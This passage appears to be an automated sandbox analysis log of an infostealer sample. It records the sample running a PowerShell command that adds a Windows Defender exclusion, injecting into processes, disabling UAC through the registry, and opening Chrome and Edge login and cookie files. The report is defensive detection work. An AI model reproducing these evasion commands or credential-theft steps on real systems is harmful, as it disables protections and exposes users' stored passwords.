Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Memory allocated: C:\Program Files (x86)\Windows Media Player\wmplayer.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtOpenKeyEx: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtQueryValueKey: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Memory written: C:\Program Files (x86)\Windows Media Player\wmplayer.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: NULL target: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Section loaded: NULL target: C:\Windows\SysWOW64\sc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: NULL target: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: NULL target: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\sc.exe

Thread register set: target process: 2876

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\sc.exe

Thread APC queued: target process: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Memory written: C:\Program Files (x86)\Windows Media Player\wmplayer.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Memory written: C:\Program Files (x86)\Windows Media Player\wmplayer.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Memory written: C:\Program Files (x86)\Windows Media Player\wmplayer.exe base: 2B19008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Program Files (x86)\Windows Media Player\wmplayer.exe "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"	Jump to behavior
Source: C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process created: C:\Windows\SysWOW64\unregmp2.exe "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
Source: C:\Windows\SysWOW64\unregmp2.exe	Process created: C:\Windows\System32\unregmp2.exe "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT

Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944876648.0000000001761000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000000.2245274467.0000000001760000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3945565356.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944876648.0000000001761000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000000.2245274467.0000000001760000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3945565356.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944876648.0000000001761000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000000.2245274467.0000000001760000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3945565356.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944876648.0000000001761000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000000.2245274467.0000000001760000.00000002.00000001.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3945565356.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\unregmp2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\sc.exe

